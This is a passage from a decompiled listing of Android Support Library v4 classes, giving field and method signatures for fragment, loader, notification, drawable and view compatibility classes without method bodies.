    static android.app.Notification add(android.content.Context, android.app.Notification, CharSequence, CharSequence, CharSequence, android.widget.RemoteViews, int, android.app.PendingIntent, android.app.PendingIntent, android.graphics.Bitmap);
}










android/support/v4/app/LoaderManagerImpl$LoaderInfo.class


package android.support.v4.app;
final synchronized class LoaderManagerImpl$LoaderInfo implements android.support.v4.content.Loader$OnLoadCompleteListener {
    final int mId;
    final android.os.Bundle mArgs;
    LoaderManager$LoaderCallbacks mCallbacks;
    android.support.v4.content.Loader mLoader;
    boolean mHaveData;
    boolean mDeliveredData;
    Object mData;
    boolean mStarted;
    boolean mRetaining;
    boolean mRetainingStarted;
    boolean mReportNextStart;
    boolean mDestroyed;
    boolean mListenerRegistered;
    LoaderManagerImpl$LoaderInfo mPendingLoader;
    public void LoaderManagerImpl$LoaderInfo(LoaderManagerImpl, int, android.os.Bundle, LoaderManager$LoaderCallbacks);
    void start();
    void retain();
    void finishRetain();
    void reportStart();
    void stop();
    void destroy();
    public void onLoadComplete(android.support.v4.content.Loader, Object);
    void callOnLoadFinished(android.support.v4.content.Loader, Object);
    public String toString();
    public void dump(String, java.io.FileDescriptor, java.io.PrintWriter, String[]);
}










android/support/v4/app/FragmentPagerAdapter.class


package android.support.v4.app;
public abstract synchronized class FragmentPagerAdapter extends android.support.v4.view.PagerAdapter {
    private static final String TAG = FragmentPagerAdapter;
    private static final boolean DEBUG = 0;
    private final FragmentManager mFragmentManager;
    private FragmentTransaction mCurTransaction;
    private Fragment mCurrentPrimaryItem;
    public void FragmentPagerAdapter(FragmentManager);
    public abstract Fragment getItem(int);
    public void startUpdate(android.view.ViewGroup);
    public Object instantiateItem(android.view.ViewGroup, int);
    public void destroyItem(android.view.ViewGroup, int, Object);
    public void setPrimaryItem(android.view.ViewGroup, int, Object);
    public void finishUpdate(android.view.ViewGroup);
    public boolean isViewFromObject(android.view.View, Object);
    public android.os.Parcelable saveState();
    public void restoreState(android.os.Parcelable, ClassLoader);
    public long getItemId(int);
    private static String makeFragmentName(int, long);
}










android/support/v4/app/FragmentTabHost.class


package android.support.v4.app;
public synchronized class FragmentTabHost extends android.widget.TabHost implements android.widget.TabHost$OnTabChangeListener {
    private final java.util.ArrayList mTabs;
    private android.widget.FrameLayout mRealTabContent;
    private android.content.Context mContext;
    private FragmentManager mFragmentManager;
    private int mContainerId;
    private android.widget.TabHost$OnTabChangeListener mOnTabChangeListener;
    private FragmentTabHost$TabInfo mLastTab;
    private boolean mAttached;
    public void FragmentTabHost(android.content.Context);
    public void FragmentTabHost(android.content.Context, android.util.AttributeSet);
    private void initFragmentTabHost(android.content.Context, android.util.AttributeSet);
    private void ensureHierarchy(android.content.Context);
    public void setup();
    public void setup(android.content.Context, FragmentManager);
    public void setup(android.content.Context, FragmentManager, int);
    private void ensureContent();
    public void setOnTabChangedListener(android.widget.TabHost$OnTabChangeListener);
    public void addTab(android.widget.TabHost$TabSpec, Class, android.os.Bundle);
    protected void onAttachedToWindow();
    protected void onDetachedFromWindow();
    protected android.os.Parcelable onSaveInstanceState();
    protected void onRestoreInstanceState(android.os.Parcelable);
    public void onTabChanged(String);
    private FragmentTransaction doTabChanged(String, FragmentTransaction);
}










android/support/v4/app/NavUtilsJB.class


package android.support.v4.app;
synchronized class NavUtilsJB {
    void NavUtilsJB();
    public static android.content.Intent getParentActivityIntent(android.app.Activity);
    public static boolean shouldUpRecreateTask(android.app.Activity, android.content.Intent);
    public static void navigateUpTo(android.app.Activity, android.content.Intent);
    public static String getParentActivityName(android.content.pm.ActivityInfo);
}










android/support/v4/app/ActivityOptionsCompat.class


package android.support.v4.app;
public synchronized class ActivityOptionsCompat {
    public static ActivityOptionsCompat makeCustomAnimation(android.content.Context, int, int);
    public static ActivityOptionsCompat makeScaleUpAnimation(android.view.View, int, int, int, int);
    public static ActivityOptionsCompat makeThumbnailScaleUpAnimation(android.view.View, android.graphics.Bitmap, int, int);
    protected void ActivityOptionsCompat();
    public android.os.Bundle toBundle();
    public void update(ActivityOptionsCompat);
}










android/support/v4/app/FragmentManagerImpl$5.class


package android.support.v4.app;
synchronized class FragmentManagerImpl$5 implements android.view.animation.Animation$AnimationListener {
    void FragmentManagerImpl$5(FragmentManagerImpl, Fragment);
    public void onAnimationEnd(android.view.animation.Animation);
    public void onAnimationRepeat(android.view.animation.Animation);
    public void onAnimationStart(android.view.animation.Animation);
}










android/support/v4/app/NotificationCompat$NotificationCompatImplHoneycomb.class


package android.support.v4.app;
synchronized class NotificationCompat$NotificationCompatImplHoneycomb implements NotificationCompat$NotificationCompatImpl {
    void NotificationCompat$NotificationCompatImplHoneycomb();
    public android.app.Notification build(NotificationCompat$Builder);
}










android/support/v4/app/ActionBarDrawerToggle$ActionBarDrawerToggleImplBase.class


package android.support.v4.app;
synchronized class ActionBarDrawerToggle$ActionBarDrawerToggleImplBase implements ActionBarDrawerToggle$ActionBarDrawerToggleImpl {
    private void ActionBarDrawerToggle$ActionBarDrawerToggleImplBase();
    public android.graphics.drawable.Drawable getThemeUpIndicator(android.app.Activity);
    public Object setActionBarUpIndicator(Object, android.app.Activity, android.graphics.drawable.Drawable, int);
    public Object setActionBarDescription(Object, android.app.Activity, int);
}










android/support/v4/app/NavUtils$NavUtilsImplJB.class


package android.support.v4.app;
synchronized class NavUtils$NavUtilsImplJB extends NavUtils$NavUtilsImplBase {
    void NavUtils$NavUtilsImplJB();
    public android.content.Intent getParentActivityIntent(android.app.Activity);
    android.content.Intent superGetParentActivityIntent(android.app.Activity);
    public boolean shouldUpRecreateTask(android.app.Activity, android.content.Intent);
    public void navigateUpTo(android.app.Activity, android.content.Intent);
    public String getParentActivityName(android.content.Context, android.content.pm.ActivityInfo);
}










android/support/v4/app/FragmentActivity$NonConfigurationInstances.class


package android.support.v4.app;
final synchronized class FragmentActivity$NonConfigurationInstances {
    Object activity;
    Object custom;
    android.support.v4.util.SimpleArrayMap children;
    java.util.ArrayList fragments;
    android.support.v4.util.SimpleArrayMap loaders;
    void FragmentActivity$NonConfigurationInstances();
}










android/support/v4/app/FragmentManagerImpl$2.class


package android.support.v4.app;
synchronized class FragmentManagerImpl$2 implements Runnable {
    void FragmentManagerImpl$2(FragmentManagerImpl);
    public void run();
}










android/support/v4/app/SuperNotCalledException.class


package android.support.v4.app;
final synchronized class SuperNotCalledException extends android.util.AndroidRuntimeException {
    public void SuperNotCalledException(String);
}










android/support/v4/app/LoaderManager$LoaderCallbacks.class


package android.support.v4.app;
public abstract interface LoaderManager$LoaderCallbacks {
    public abstract android.support.v4.content.Loader onCreateLoader(int, android.os.Bundle);
    public abstract void onLoadFinished(android.support.v4.content.Loader, Object);
    public abstract void onLoaderReset(android.support.v4.content.Loader);
}










android/support/v4/app/LoaderManager.class


package android.support.v4.app;
public abstract synchronized class LoaderManager {
    public void LoaderManager();
    public abstract android.support.v4.content.Loader initLoader(int, android.os.Bundle, LoaderManager$LoaderCallbacks);
    public abstract android.support.v4.content.Loader restartLoader(int, android.os.Bundle, LoaderManager$LoaderCallbacks);
    public abstract void destroyLoader(int);
    public abstract android.support.v4.content.Loader getLoader(int);
    public abstract void dump(String, java.io.FileDescriptor, java.io.PrintWriter, String[]);
    public static void enableDebugLogging(boolean);
    public boolean hasRunningLoaders();
}










android/support/v4/app/FragmentActivity.class


package android.support.v4.app;
public synchronized class FragmentActivity extends android.app.Activity {
    private static final String TAG = FragmentActivity;
    static final String FRAGMENTS_TAG = android:support:fragments;
    private static final int HONEYCOMB = 11;
    static final int MSG_REALLY_STOPPED = 1;
    static final int MSG_RESUME_PENDING = 2;
    final android.os.Handler mHandler;
    final FragmentManagerImpl mFragments;
    final FragmentContainer mContainer;
    boolean mCreated;
    boolean mResumed;
    boolean mStopped;
    boolean mReallyStopped;
    boolean mRetaining;
    boolean mOptionsMenuInvalidated;
    boolean mCheckedForLoaderManager;
    boolean mLoadersStarted;
    android.support.v4.util.SimpleArrayMap mAllLoaderManagers;
    LoaderManagerImpl mLoaderManager;
    public void FragmentActivity();
    protected void onActivityResult(int, int, android.content.Intent);
    public void onBackPressed();
    public void onConfigurationChanged(android.content.res.Configuration);
    protected void onCreate(android.os.Bundle);
    public boolean onCreatePanelMenu(int, android.view.Menu);
    public android.view.View onCreateView(String, android.content.Context, android.util.AttributeSet);
    protected void onDestroy();
    public boolean onKeyDown(int, android.view.KeyEvent);
    public void onLowMemory();
    public boolean onMenuItemSelected(int, android.view.MenuItem);
    public void onPanelClosed(int, android.view.Menu);
    protected void onPause();
    protected void onNewIntent(android.content.Intent);
    protected void onResume();
    protected void onPostResume();
    protected void onResumeFragments();
    public boolean onPreparePanel(int, android.view.View, android.view.Menu);
    protected boolean onPrepareOptionsPanel(android.view.View, android.view.Menu);
    public final Object onRetainNonConfigurationInstance();
    protected void onSaveInstanceState(android.os.Bundle);
    protected void onStart();
    protected void onStop();
    public Object onRetainCustomNonConfigurationInstance();
    public Object getLastCustomNonConfigurationInstance();
    public void supportInvalidateOptionsMenu();
    public void dump(String, java.io.FileDescriptor, java.io.PrintWriter, String[]);
    private static String viewToString(android.view.View);
    private void dumpViewHierarchy(String, java.io.PrintWriter, android.view.View);
    void doReallyStop(boolean);
    void onReallyStop();
    public void onAttachFragment(Fragment);
    public FragmentManager getSupportFragmentManager();
    public void startActivityForResult(android.content.Intent, int);
    public void startActivityFromFragment(Fragment, android.content.Intent, int);
    void invalidateSupportFragment(String);
    public LoaderManager getSupportLoaderManager();
    LoaderManagerImpl getLoaderManager(String, boolean, boolean);
}










android/support/v4/app/ActionBarDrawerToggleHoneycomb.class


package android.support.v4.app;
synchronized class ActionBarDrawerToggleHoneycomb {
    private static final String TAG = ActionBarDrawerToggleHoneycomb;
    private static final int[] THEME_ATTRS;
    void ActionBarDrawerToggleHoneycomb();
    public static Object setActionBarUpIndicator(Object, android.app.Activity, android.graphics.drawable.Drawable, int);
    public static Object setActionBarDescription(Object, android.app.Activity, int);
    public static android.graphics.drawable.Drawable getThemeUpIndicator(android.app.Activity);
    static void <clinit>();
}










android/support/v4/app/ActionBarDrawerToggle$SlideDrawable.class


package android.support.v4.app;
synchronized class ActionBarDrawerToggle$SlideDrawable extends android.graphics.drawable.InsetDrawable implements android.graphics.drawable.Drawable$Callback {
    private final boolean mHasMirroring;
    private final android.graphics.Rect mTmpRect;
    private float mPosition;
    private float mOffset;
    private void ActionBarDrawerToggle$SlideDrawable(ActionBarDrawerToggle, android.graphics.drawable.Drawable);
    public void setPosition(float);
    public float getPosition();
    public void setOffset(float);
    public void draw(android.graphics.Canvas);
}










android/support/v4/app/TaskStackBuilder$TaskStackBuilderImplJellybean.class


package android.support.v4.app;
synchronized class TaskStackBuilder$TaskStackBuilderImplJellybean implements TaskStackBuilder$TaskStackBuilderImpl {
    void TaskStackBuilder$TaskStackBuilderImplJellybean();
    public android.app.PendingIntent getPendingIntent(android.content.Context, android.content.Intent[], int, int, android.os.Bundle);
}










android/support/v4/app/FragmentTransaction.class


package android.support.v4.app;
public abstract synchronized class FragmentTransaction {
    public static final int TRANSIT_ENTER_MASK = 4096;
    public static final int TRANSIT_EXIT_MASK = 8192;
    public static final int TRANSIT_UNSET = -1;
    public static final int TRANSIT_NONE = 0;
    public static final int TRANSIT_FRAGMENT_OPEN = 4097;
    public static final int TRANSIT_FRAGMENT_CLOSE = 8194;
    public static final int TRANSIT_FRAGMENT_FADE = 4099;
    public void FragmentTransaction();
    public abstract FragmentTransaction add(Fragment, String);
    public abstract FragmentTransaction add(int, Fragment);
    public abstract FragmentTransaction add(int, Fragment, String);
    public abstract FragmentTransaction replace(int, Fragment);
    public abstract FragmentTransaction replace(int, Fragment, String);
    public abstract FragmentTransaction remove(Fragment);
    public abstract FragmentTransaction hide(Fragment);
    public abstract FragmentTransaction show(Fragment);
    public abstract FragmentTransaction detach(Fragment);
    public abstract FragmentTransaction attach(Fragment);
    public abstract boolean isEmpty();
    public abstract FragmentTransaction setCustomAnimations(int, int);
    public abstract FragmentTransaction setCustomAnimations(int, int, int, int);
    public abstract FragmentTransaction setTransition(int);
    public abstract FragmentTransaction setTransitionStyle(int);
    public abstract FragmentTransaction addToBackStack(String);
    public abstract boolean isAddToBackStackAllowed();
    public abstract FragmentTransaction disallowAddToBackStack();
    public abstract FragmentTransaction setBreadCrumbTitle(int);
    public abstract FragmentTransaction setBreadCrumbTitle(CharSequence);
    public abstract FragmentTransaction setBreadCrumbShortTitle(int);
    public abstract FragmentTransaction setBreadCrumbShortTitle(CharSequence);
    public abstract int commit();
    public abstract int commitAllowingStateLoss();
}










android/support/v4/app/FragmentTabHost$SavedState.class


package android.support.v4.app;
synchronized class FragmentTabHost$SavedState extends android.view.View$BaseSavedState {
    String curTab;
    public static final android.os.Parcelable$Creator CREATOR;
    void FragmentTabHost$SavedState(android.os.Parcelable);
    private void FragmentTabHost$SavedState(android.os.Parcel);
    public void writeToParcel(android.os.Parcel, int);
    public String toString();
    static void <clinit>();
}










android/support/v4/app/ActivityCompatJB.class


package android.support.v4.app;
synchronized class ActivityCompatJB {
    void ActivityCompatJB();
    public static void startActivity(android.content.Context, android.content.Intent, android.os.Bundle);
    public static void startActivityForResult(android.app.Activity, android.content.Intent, int, android.os.Bundle);
    public static void finishAffinity(android.app.Activity);
}










android/support/v4/app/FragmentTabHost$DummyTabFactory.class


package android.support.v4.app;
synchronized class FragmentTabHost$DummyTabFactory implements android.widget.TabHost$TabContentFactory {
    private final android.content.Context mContext;
    public void FragmentTabHost$DummyTabFactory(android.content.Context);
    public android.view.View createTabContent(String);
}










android/support/v4/app/FragmentManager$BackStackEntry.class


package android.support.v4.app;
public abstract interface FragmentManager$BackStackEntry {
    public abstract int getId();
    public abstract String getName();
    public abstract int getBreadCrumbTitleRes();
    public abstract int getBreadCrumbShortTitleRes();
    public abstract CharSequence getBreadCrumbTitle();
    public abstract CharSequence getBreadCrumbShortTitle();
}










android/support/v4/app/TaskStackBuilder$TaskStackBuilderImplBase.class


package android.support.v4.app;
synchronized class TaskStackBuilder$TaskStackBuilderImplBase implements TaskStackBuilder$TaskStackBuilderImpl {
    void TaskStackBuilder$TaskStackBuilderImplBase();
    public android.app.PendingIntent getPendingIntent(android.content.Context, android.content.Intent[], int, int, android.os.Bundle);
}










android/support/v4/app/FragmentTabHost$SavedState$1.class


package android.support.v4.app;
final synchronized class FragmentTabHost$SavedState$1 implements android.os.Parcelable$Creator {
    void FragmentTabHost$SavedState$1();
    public FragmentTabHost$SavedState createFromParcel(android.os.Parcel);
    public FragmentTabHost$SavedState[] newArray(int);
}










android/support/v4/app/BackStackState.class


package android.support.v4.app;
final synchronized class BackStackState implements android.os.Parcelable {
    final int[] mOps;
    final int mTransition;
    final int mTransitionStyle;
    final String mName;
    final int mIndex;
    final int mBreadCrumbTitleRes;
    final CharSequence mBreadCrumbTitleText;
    final int mBreadCrumbShortTitleRes;
    final CharSequence mBreadCrumbShortTitleText;
    public static final android.os.Parcelable$Creator CREATOR;
    public void BackStackState(FragmentManagerImpl, BackStackRecord);
    public void BackStackState(android.os.Parcel);
    public BackStackRecord instantiate(FragmentManagerImpl);
    public int describeContents();
    public void writeToParcel(android.os.Parcel, int);
    static void <clinit>();
}










android/support/v4/app/NotificationCompat$NotificationCompatImplBase.class


package android.support.v4.app;
synchronized class NotificationCompat$NotificationCompatImplBase implements NotificationCompat$NotificationCompatImpl {
    void NotificationCompat$NotificationCompatImplBase();
    public android.app.Notification build(NotificationCompat$Builder);
}










android/support/v4/app/ShareCompat.class


package android.support.v4.app;
public synchronized class ShareCompat {
    public static final String EXTRA_CALLING_PACKAGE = android.support.v4.app.EXTRA_CALLING_PACKAGE;
    public static final String EXTRA_CALLING_ACTIVITY = android.support.v4.app.EXTRA_CALLING_ACTIVITY;
    private static ShareCompat$ShareCompatImpl IMPL;
    public void ShareCompat();
    public static String getCallingPackage(android.app.Activity);
    public static android.content.ComponentName getCallingActivity(android.app.Activity);
    public static void configureMenuItem(android.view.MenuItem, ShareCompat$IntentBuilder);
    public static void configureMenuItem(android.view.Menu, int, ShareCompat$IntentBuilder);
    static void <clinit>();
}










android/support/v4/app/FragmentState.class


package android.support.v4.app;
final synchronized class FragmentState implements android.os.Parcelable {
    final String mClassName;
    final int mIndex;
    final boolean mFromLayout;
    final int mFragmentId;
    final int mContainerId;
    final String mTag;
    final boolean mRetainInstance;
    final boolean mDetached;
    final android.os.Bundle mArguments;
    android.os.Bundle mSavedFragmentState;
    Fragment mInstance;
    public static final android.os.Parcelable$Creator CREATOR;
    public void FragmentState(Fragment);
    public void FragmentState(android.os.Parcel);
    public Fragment instantiate(FragmentActivity, Fragment);
    public int describeContents();
    public void writeToParcel(android.os.Parcel, int);
    static void <clinit>();
}










android/support/v4/app/TaskStackBuilder$SupportParentable.class


package android.support.v4.app;
public abstract interface TaskStackBuilder$SupportParentable {
    public abstract android.content.Intent getSupportParentActivityIntent();
}










android/support/v4/app/Fragment$SavedState$1.class


package android.support.v4.app;
final synchronized class Fragment$SavedState$1 implements android.os.Parcelable$Creator {
    void Fragment$SavedState$1();
    public Fragment$SavedState createFromParcel(android.os.Parcel);
    public Fragment$SavedState[] newArray(int);
}










android/support/v4/app/FragmentActivity$1.class


package android.support.v4.app;
synchronized class FragmentActivity$1 extends android.os.Handler {
    void FragmentActivity$1(FragmentActivity);
    public void handleMessage(android.os.Message);
}










android/support/v4/app/FragmentStatePagerAdapter.class


package android.support.v4.app;
public abstract synchronized class FragmentStatePagerAdapter extends android.support.v4.view.PagerAdapter {
    private static final String TAG = FragmentStatePagerAdapter;
    private static final boolean DEBUG = 0;
    private final FragmentManager mFragmentManager;
    private FragmentTransaction mCurTransaction;
    private java.util.ArrayList mSavedState;
    private java.util.ArrayList mFragments;
    private Fragment mCurrentPrimaryItem;
    public void FragmentStatePagerAdapter(FragmentManager);
    public abstract Fragment getItem(int);
    public void startUpdate(android.view.ViewGroup);
    public Object instantiateItem(android.view.ViewGroup, int);
    public void destroyItem(android.view.ViewGroup, int, Object);
    public void setPrimaryItem(android.view.ViewGroup, int, Object);
    public void finishUpdate(android.view.ViewGroup);
    public boolean isViewFromObject(android.view.View, Object);
    public android.os.Parcelable saveState();
    public void restoreState(android.os.Parcelable, ClassLoader);
}










android/support/v4/app/ServiceCompat.class


package android.support.v4.app;
public synchronized class ServiceCompat {
    public static final int START_STICKY = 1;
    private void ServiceCompat();
}










android/support/v4/app/FragmentManagerImpl$4.class


package android.support.v4.app;
synchronized class FragmentManagerImpl$4 implements Runnable {
    void FragmentManagerImpl$4(FragmentManagerImpl, int, int);
    public void run();
}










android/support/v4/app/TaskStackBuilder$TaskStackBuilderImplHoneycomb.class


package android.support.v4.app;
synchronized class TaskStackBuilder$TaskStackBuilderImplHoneycomb implements TaskStackBuilder$TaskStackBuilderImpl {
    void TaskStackBuilder$TaskStackBuilderImplHoneycomb();
    public android.app.PendingIntent getPendingIntent(android.content.Context, android.content.Intent[], int, int, android.os.Bundle);
}










android/support/v4/app/BackStackRecord$Op.class


package android.support.v4.app;
final synchronized class BackStackRecord$Op {
    BackStackRecord$Op next;
    BackStackRecord$Op prev;
    int cmd;
    Fragment fragment;
    int enterAnim;
    int exitAnim;
    int popEnterAnim;
    int popExitAnim;
    java.util.ArrayList removed;
    void BackStackRecord$Op();
}










android/support/v4/app/NotificationCompat$Builder.class


package android.support.v4.app;
public synchronized class NotificationCompat$Builder {
    android.content.Context mContext;
    CharSequence mContentTitle;
    CharSequence mContentText;
    android.app.PendingIntent mContentIntent;
    android.app.PendingIntent mFullScreenIntent;
    android.widget.RemoteViews mTickerView;
    android.graphics.Bitmap mLargeIcon;
    CharSequence mContentInfo;
    int mNumber;
    int mPriority;
    boolean mUseChronometer;
    NotificationCompat$Style mStyle;
    CharSequence mSubText;
    int mProgressMax;
    int mProgress;
    boolean mProgressIndeterminate;
    java.util.ArrayList mActions;
    android.app.Notification mNotification;
    public void NotificationCompat$Builder(android.content.Context);
    public NotificationCompat$Builder setWhen(long);
    public NotificationCompat$Builder setUsesChronometer(boolean);
    public NotificationCompat$Builder setSmallIcon(int);
    public NotificationCompat$Builder setSmallIcon(int, int);
    public NotificationCompat$Builder setContentTitle(CharSequence);
    public NotificationCompat$Builder setContentText(CharSequence);
    public NotificationCompat$Builder setSubText(CharSequence);
    public NotificationCompat$Builder setNumber(int);
    public NotificationCompat$Builder setContentInfo(CharSequence);
    public NotificationCompat$Builder setProgress(int, int, boolean);
    public NotificationCompat$Builder setContent(android.widget.RemoteViews);
    public NotificationCompat$Builder setContentIntent(android.app.PendingIntent);
    public NotificationCompat$Builder setDeleteIntent(android.app.PendingIntent);
    public NotificationCompat$Builder setFullScreenIntent(android.app.PendingIntent, boolean);
    public NotificationCompat$Builder setTicker(CharSequence);
    public NotificationCompat$Builder setTicker(CharSequence, android.widget.RemoteViews);
    public NotificationCompat$Builder setLargeIcon(android.graphics.Bitmap);
    public NotificationCompat$Builder setSound(android.net.Uri);
    public NotificationCompat$Builder setSound(android.net.Uri, int);
    public NotificationCompat$Builder setVibrate(long[]);
    public NotificationCompat$Builder setLights(int, int, int);
    public NotificationCompat$Builder setOngoing(boolean);
    public NotificationCompat$Builder setOnlyAlertOnce(boolean);
    public NotificationCompat$Builder setAutoCancel(boolean);
    public NotificationCompat$Builder setDefaults(int);
    private void setFlag(int, boolean);
    public NotificationCompat$Builder setPriority(int);
    public NotificationCompat$Builder addAction(int, CharSequence, android.app.PendingIntent);
    public NotificationCompat$Builder setStyle(NotificationCompat$Style);
    public android.app.Notification getNotification();
    public android.app.Notification build();
}










android/support/v4/app/NotificationCompat.class


package android.support.v4.app;
public synchronized class NotificationCompat {
    public static final int FLAG_HIGH_PRIORITY = 128;
    public static final int PRIORITY_DEFAULT = 0;
    public static final int PRIORITY_LOW = -1;
    public static final int PRIORITY_MIN = -2;
    public static final int PRIORITY_HIGH = 1;
    public static final int PRIORITY_MAX = 2;
    private static final NotificationCompat$NotificationCompatImpl IMPL;
    public void NotificationCompat();
    static void <clinit>();
}










android/support/v4/app/FragmentManagerState.class


package android.support.v4.app;
final synchronized class FragmentManagerState implements android.os.Parcelable {
    FragmentState[] mActive;
    int[] mAdded;
    BackStackState[] mBackStack;
    public static final android.os.Parcelable$Creator CREATOR;
    public void FragmentManagerState();
    public void FragmentManagerState(android.os.Parcel);
    public int describeContents();
    public void writeToParcel(android.os.Parcel, int);
    static void <clinit>();
}










android/support/v4/app/ActionBarDrawerToggle$Delegate.class


package android.support.v4.app;
public abstract interface ActionBarDrawerToggle$Delegate {
    public abstract android.graphics.drawable.Drawable getThemeUpIndicator();
    public abstract void setActionBarUpIndicator(android.graphics.drawable.Drawable, int);
    public abstract void setActionBarDescription(int);
}










android/support/v4/app/ActivityCompat.class


package android.support.v4.app;
public synchronized class ActivityCompat extends android.support.v4.content.ContextCompat {
    public void ActivityCompat();
    public static boolean invalidateOptionsMenu(android.app.Activity);
    public static void startActivity(android.app.Activity, android.content.Intent, android.os.Bundle);
    public static void startActivityForResult(android.app.Activity, android.content.Intent, int, android.os.Bundle);
    public static void finishAffinity(android.app.Activity);
}










android/support/v4/app/FragmentTabHost$1.class


package android.support.v4.app;
synchronized class FragmentTabHost$1 {
}










android/support/v4/app/NotificationCompat$BigPictureStyle.class


package android.support.v4.app;
public synchronized class NotificationCompat$BigPictureStyle extends NotificationCompat$Style {
    android.graphics.Bitmap mPicture;
    android.graphics.Bitmap mBigLargeIcon;
    boolean mBigLargeIconSet;
    public void NotificationCompat$BigPictureStyle();
    public void NotificationCompat$BigPictureStyle(NotificationCompat$Builder);
    public NotificationCompat$BigPictureStyle setBigContentTitle(CharSequence);
    public NotificationCompat$BigPictureStyle setSummaryText(CharSequence);
    public NotificationCompat$BigPictureStyle bigPicture(android.graphics.Bitmap);
    public NotificationCompat$BigPictureStyle bigLargeIcon(android.graphics.Bitmap);
}










android/support/v4/app/FragmentManagerState$1.class


package android.support.v4.app;
final synchronized class FragmentManagerState$1 implements android.os.Parcelable$Creator {
    void FragmentManagerState$1();
    public FragmentManagerState createFromParcel(android.os.Parcel);
    public FragmentManagerState[] newArray(int);
}










android/support/v4/app/ShareCompatICS.class


package android.support.v4.app;
synchronized class ShareCompatICS {
    private static final String HISTORY_FILENAME_PREFIX = .sharecompat_;
    void ShareCompatICS();
    public static void configureMenuItem(android.view.MenuItem, android.app.Activity, android.content.Intent);
}










android/support/v4/app/FragmentManager$OnBackStackChangedListener.class


package android.support.v4.app;
public abstract interface FragmentManager$OnBackStackChangedListener {
    public abstract void onBackStackChanged();
}










android/support/v4/app/FragmentManagerImpl$3.class


package android.support.v4.app;
synchronized class FragmentManagerImpl$3 implements Runnable {
    void FragmentManagerImpl$3(FragmentManagerImpl, String, int);
    public void run();
}










android/support/v4/graphics/drawable/DrawableCompat$HoneycombDrawableImpl.class


package android.support.v4.graphics.drawable;
synchronized class DrawableCompat$HoneycombDrawableImpl extends DrawableCompat$BaseDrawableImpl {
    void DrawableCompat$HoneycombDrawableImpl();
    public void jumpToCurrentState(android.graphics.drawable.Drawable);
}










android/support/v4/graphics/drawable/DrawableCompat$DrawableImpl.class


package android.support.v4.graphics.drawable;
abstract interface DrawableCompat$DrawableImpl {
    public abstract void jumpToCurrentState(android.graphics.drawable.Drawable);
    public abstract void setAutoMirrored(android.graphics.drawable.Drawable, boolean);
    public abstract boolean isAutoMirrored(android.graphics.drawable.Drawable);
}










android/support/v4/graphics/drawable/DrawableCompatHoneycomb.class


package android.support.v4.graphics.drawable;
synchronized class DrawableCompatHoneycomb {
    void DrawableCompatHoneycomb();
    public static void jumpToCurrentState(android.graphics.drawable.Drawable);
}










android/support/v4/graphics/drawable/DrawableCompatKitKat.class


package android.support.v4.graphics.drawable;
synchronized class DrawableCompatKitKat {
    void DrawableCompatKitKat();
    public static void setAutoMirrored(android.graphics.drawable.Drawable, boolean);
    public static boolean isAutoMirrored(android.graphics.drawable.Drawable);
}










android/support/v4/graphics/drawable/DrawableCompat$KitKatDrawableImpl.class


package android.support.v4.graphics.drawable;
synchronized class DrawableCompat$KitKatDrawableImpl extends DrawableCompat$HoneycombDrawableImpl {
    void DrawableCompat$KitKatDrawableImpl();
    public void setAutoMirrored(android.graphics.drawable.Drawable, boolean);
    public boolean isAutoMirrored(android.graphics.drawable.Drawable);
}










android/support/v4/graphics/drawable/DrawableCompat$BaseDrawableImpl.class


package android.support.v4.graphics.drawable;
synchronized class DrawableCompat$BaseDrawableImpl implements DrawableCompat$DrawableImpl {
    void DrawableCompat$BaseDrawableImpl();
    public void jumpToCurrentState(android.graphics.drawable.Drawable);
    public void setAutoMirrored(android.graphics.drawable.Drawable, boolean);
    public boolean isAutoMirrored(android.graphics.drawable.Drawable);
}










android/support/v4/graphics/drawable/DrawableCompat.class


package android.support.v4.graphics.drawable;
public synchronized class DrawableCompat {
    static final DrawableCompat$DrawableImpl IMPL;
    public void DrawableCompat();
    public static void jumpToCurrentState(android.graphics.drawable.Drawable);
    public static void setAutoMirrored(android.graphics.drawable.Drawable, boolean);
    public static boolean isAutoMirrored(android.graphics.drawable.Drawable);
    static void <clinit>();
}










android/support/v4/view/MarginLayoutParamsCompat.class


package android.support.v4.view;
public synchronized class MarginLayoutParamsCompat {
    static final MarginLayoutParamsCompat$MarginLayoutParamsCompatImpl IMPL;
    public void MarginLayoutParamsCompat();
    public static int getMarginStart(android.view.ViewGroup$MarginLayoutParams);
    public static int getMarginEnd(android.view.ViewGroup$MarginLayoutParams);
    public static void setMarginStart(android.view.ViewGroup$MarginLayoutParams, int);
    public static void setMarginEnd(android.view.ViewGroup$MarginLayoutParams, int);
    public static boolean isMarginRelative(android.view.ViewGroup$MarginLayoutParams);
    public static int getLayoutDirection(android.view.ViewGroup$MarginLayoutParams);
    public static void setLayoutDirection(android.view.ViewGroup$MarginLayoutParams, int);
    public static void resolveLayoutDirection(android.view.ViewGroup$MarginLayoutParams, int);
    static void <clinit>();
}










android/support/v4/view/ViewPager$SavedState.class


package android.support.v4.view;
public synchronized class ViewPager$SavedState extends android.view.View$BaseSavedState {
    int position;
    android.os.Parcelable adapterState;
    ClassLoader loader;
    public static final android.os.Parcelable$Creator CREATOR;
    public void ViewPager$SavedState(android.os.Parcelable);
    public void writeToParcel(android.os.Parcel, int);
    public String toString();
    void ViewPager$SavedState(android.os.Parcel, ClassLoader);
    static void <clinit>();
}










android/support/v4/view/AccessibilityDelegateCompatJellyBean$AccessibilityDelegateBridgeJellyBean.class


package android.support.v4.view;
public abstract interface AccessibilityDelegateCompatJellyBean$AccessibilityDelegateBridgeJellyBean {
    public abstract boolean dispatchPopulateAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public abstract void onInitializeAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public abstract void onInitializeAccessibilityNodeInfo(android.view.View, Object);
    public abstract void onPopulateAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public abstract boolean onRequestSendAccessibilityEvent(android.view.ViewGroup, android.view.View, android.view.accessibility.AccessibilityEvent);
    public abstract void sendAccessibilityEvent(android.view.View, int);
    public abstract void sendAccessibilityEventUnchecked(android.view.View, android.view.accessibility.AccessibilityEvent);
    public abstract Object getAccessibilityNodeProvider(android.view.View);
    public abstract boolean performAccessibilityAction(android.view.View, int, android.os.Bundle);
}










android/support/v4/view/ScaleGestureDetectorCompatKitKat.class


package android.support.v4.view;
synchronized class ScaleGestureDetectorCompatKitKat {
    private void ScaleGestureDetectorCompatKitKat();
    public static void setQuickScaleEnabled(Object, boolean);
    public static boolean isQuickScaleEnabled(Object);
}










android/support/v4/view/MenuItemCompatIcs.class


package android.support.v4.view;
synchronized class MenuItemCompatIcs {
    void MenuItemCompatIcs();
    public static boolean expandActionView(android.view.MenuItem);
